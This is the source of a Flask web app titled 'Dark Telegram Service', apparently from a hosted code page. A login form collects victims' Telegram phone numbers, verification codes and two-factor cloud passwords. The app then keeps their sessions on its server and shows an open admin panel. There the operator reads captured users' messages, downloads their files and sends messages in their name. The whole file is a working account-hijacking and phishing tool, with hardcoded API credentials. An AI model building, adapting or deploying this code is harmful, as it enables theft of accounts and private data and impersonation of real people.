Spaces:
Paused
Paused
| from flask import Flask, request, jsonify, render_template_string, send_from_directory | |
| from telethon.sync import TelegramClient | |
| from telethon import events | |
| import os | |
| import sqlite3 | |
| import hashlib | |
| import asyncio | |
| from pathlib import Path | |
| app = Flask(__name__) | |
| API_ID = '22328650' | |
| API_HASH = '20b45c386598fab8028b1d99b63aeeeb' | |
| HOST = '0.0.0.0' | |
| PORT = 7860 | |
| SESSION_DIR = 'sessions' | |
| DOWNLOAD_DIR = 'downloads' | |
| DB_PATH = 'users.db' | |
| def init_db(): | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('''CREATE TABLE IF NOT EXISTS users ( | |
| id INTEGER PRIMARY KEY AUTOINCREMENT, | |
| telegram_id TEXT UNIQUE, | |
| username TEXT, | |
| phone TEXT, | |
| session_file TEXT, | |
| created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP | |
| )''') | |
| conn.commit() | |
| os.makedirs(SESSION_DIR, exist_ok=True) | |
| os.makedirs(DOWNLOAD_DIR, exist_ok=True) | |
| HTML_TEMPLATE = ''' | |
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Dark Telegram Service</title> | |
| <style> | |
| body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; } | |
| .container { max-width: 800px; margin: auto; } | |
| h1 { text-align: center; color: #00ff00; } | |
| .form, .admin-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; } | |
| input, button { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; } | |
| button { cursor: pointer; background: #00ff00; } | |
| button:hover { background: #00cc00; } | |
| table { width: 100%; border-collapse: collapse; } | |
| th, td { padding: 10px; border: 1px solid #555; text-align: left; } | |
| a { color: #00ff00; text-decoration: none; } | |
| a:hover { text-decoration: underline; } | |
| .chat { background: #222; padding: 10px; max-height: 300px; overflow-y: auto; } | |
| .message { margin: 5px 0; } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="container"> | |
| <h1>Dark Telegram Service</h1> | |
| <div class="form"> | |
| <h2>Login via Telegram</h2> | |
| <input type="text" id="phone" placeholder="Phone number (+1234567890)"> | |
| <button onclick="startLogin()">Start Login</button> | |
| <input type="text" id="code" placeholder="Verification code" style="display:none;"> | |
| <input type="text" id="password" placeholder="Cloud password" style="display:none;"> | |
| <button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button> | |
| <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button> | |
| </div> | |
| <div class="admin-panel"> | |
| <h2>Admin Panel</h2> | |
| <table> | |
| <tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr> | |
| {% for user in users %} | |
| <tr> | |
| <td>{{ user[0] }}</td> | |
| <td>{{ user[2] }}</td> | |
| <td>{{ user[3] }}</td> | |
| <td> | |
| <a href="/user/{{ user[0] }}/messages">Messages</a> | | |
| <a href="/user/{{ user[0] }}/files">Files</a> | | |
| <a href="/send_message/{{ user[0] }}">Send Message</a> | |
| </td> | |
| </tr> | |
| {% endfor %} | |
| </table> | |
| </div> | |
| </div> | |
| <script> | |
| let phone = ''; | |
| async function startLogin() { | |
| phone = document.getElementById('phone').value; | |
| const response = await fetch('/login', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ phone, step: 'start' }) | |
| }); | |
| const result = await response.json(); | |
| alert(result.message); | |
| if (result.success) { | |
| document.getElementById('code').style.display = 'inline'; | |
| document.getElementById('submitCode').style.display = 'inline'; | |
| } | |
| } | |
| async function submitCode() { | |
| const code = document.getElementById('code').value; | |
| const response = await fetch('/login', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ phone, code, step: 'code' }) | |
| }); | |
| const result = await response.json(); | |
| alert(result.message); | |
| if (result.success) { | |
| location.reload(); | |
| } else if (result.password_required) { | |
| document.getElementById('password').style.display = 'inline'; | |
| document.getElementById('submitPassword').style.display = 'inline'; | |
| document.getElementById('submitCode').style.display = 'none'; | |
| document.getElementById('code').style.display = 'none'; | |
| } | |
| } | |
| async function submitPassword() { | |
| const password = document.getElementById('password').value; | |
| const response = await fetch('/login', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ phone, password, step: 'password' }) | |
| }); | |
| const result = await response.json(); | |
| alert(result.message); | |
| if (result.success) location.reload(); | |
| } | |
| async function sendMessage(userId) { | |
| const chatId = prompt('Enter chat ID or username:'); | |
| const message = prompt('Enter message:'); | |
| if (chatId && message) { | |
| const response = await fetch(`/send_message/${userId}`, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ chat_id: chatId, message }) | |
| }); | |
| const result = await response.json(); | |
| alert(result.message); | |
| } | |
| } | |
| </script> | |
| </body> | |
| </html> | |
| ''' | |
| def index(): | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('SELECT id, telegram_id, username, phone FROM users') | |
| users = c.fetchall() | |
| return render_template_string(HTML_TEMPLATE, users=users) | |
| def login(): | |
| data = request.json | |
| phone = data.get('phone') | |
| code = data.get('code') | |
| password = data.get('password') | |
| step = data.get('step') | |
| session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session" | |
| client = TelegramClient(session_file, API_ID, API_HASH) | |
| try: | |
| if step == 'start': | |
| client.connect() | |
| client.send_code_request(phone) | |
| return jsonify({'success': True, 'message': 'Code sent to your Telegram'}) | |
| elif step == 'code': | |
| client.connect() | |
| me = client.sign_in(phone, code) | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', | |
| (str(me.id), me.username or '', phone, session_file)) | |
| conn.commit() | |
| return jsonify({'success': True, 'message': 'Logged in successfully'}) | |
| elif step == 'password': | |
| client.connect() | |
| me = client.sign_in(password=password) | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)', | |
| (str(me.id), me.username or '', phone, session_file)) | |
| conn.commit() | |
| return jsonify({'success': True, 'message': 'Logged in with cloud password'}) | |
| else: | |
| return jsonify({'success': False, 'message': 'Invalid step'}) | |
| except Exception as e: | |
| if 'session password' in str(e).lower() or '2fa' in str(e).lower(): | |
| return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'}) | |
| return jsonify({'success': False, 'message': str(e)}) | |
| finally: | |
| if client.is_connected(): | |
| client.disconnect() | |
| def get_messages(user_id): | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,)) | |
| session_file = c.fetchone()[0] | |
| client = TelegramClient(session_file, API_ID, API_HASH) | |
| client.connect() | |
| messages = [] | |
| try: | |
| for dialog in client.get_dialogs(limit=10): | |
| for message in client.get_messages(dialog, limit=10): | |
| messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)}) | |
| finally: | |
| client.disconnect() | |
| return render_template_string(''' | |
| <h1>Messages for User {{ user_id }}</h1> | |
| <div class="chat"> | |
| {% for msg in messages %} | |
| <div class="message"><b>{{ msg.chat }}</b> ({{ msg.date }}): {{ msg.text }}</div> | |
| {% endfor %} | |
| </div> | |
| <a href="/">Back</a> | |
| ''', user_id=user_id, messages=messages) | |
| def get_files(user_id): | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,)) | |
| session_file = c.fetchone()[0] | |
| client = TelegramClient(session_file, API_ID, API_HASH) | |
| client.connect() | |
| files = [] | |
| try: | |
| for dialog in client.get_dialogs(limit=10): | |
| for message in client.get_messages(dialog, limit=10): | |
| if message.media: | |
| file_path = client.download_media(message, DOWNLOAD_DIR) | |
| files.append({'chat': dialog.title, 'file': Path(file_path).name}) | |
| finally: | |
| client.disconnect() | |
| return render_template_string(''' | |
| <h1>Files for User {{ user_id }}</h1> | |
| <table> | |
| <tr><th>Chat</th><th>File</th></tr> | |
| {% for file in files %} | |
| <tr> | |
| <td>{{ file.chat }}</td> | |
| <td><a href="/download/{{ file.file }}">{{ file.file }}</a></td> | |
| </tr> | |
| {% endfor %} | |
| </table> | |
| <a href="/">Back</a> | |
| ''', user_id=user_id, files=files) | |
| def download_file(filename): | |
| return send_from_directory(DOWNLOAD_DIR, filename) | |
| def send_message(user_id): | |
| data = request.json | |
| chat_id = data.get('chat_id') | |
| message = data.get('message') | |
| with sqlite3.connect(DB_PATH) as conn: | |
| c = conn.cursor() | |
| c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,)) | |
| session_file = c.fetchone()[0] | |
| client = TelegramClient(session_file, API_ID, API_HASH) | |
| client.connect() | |
| try: | |
| client.send_message(chat_id, message) | |
| return jsonify({'success': True, 'message': 'Message sent'}) | |
| except Exception as e: | |
| return jsonify({'success': False, 'message': str(e)}) | |
| finally: | |
| client.disconnect() | |
| if __name__ == '__main__': | |
| init_db() | |
| app.run(host=HOST, port=PORT) |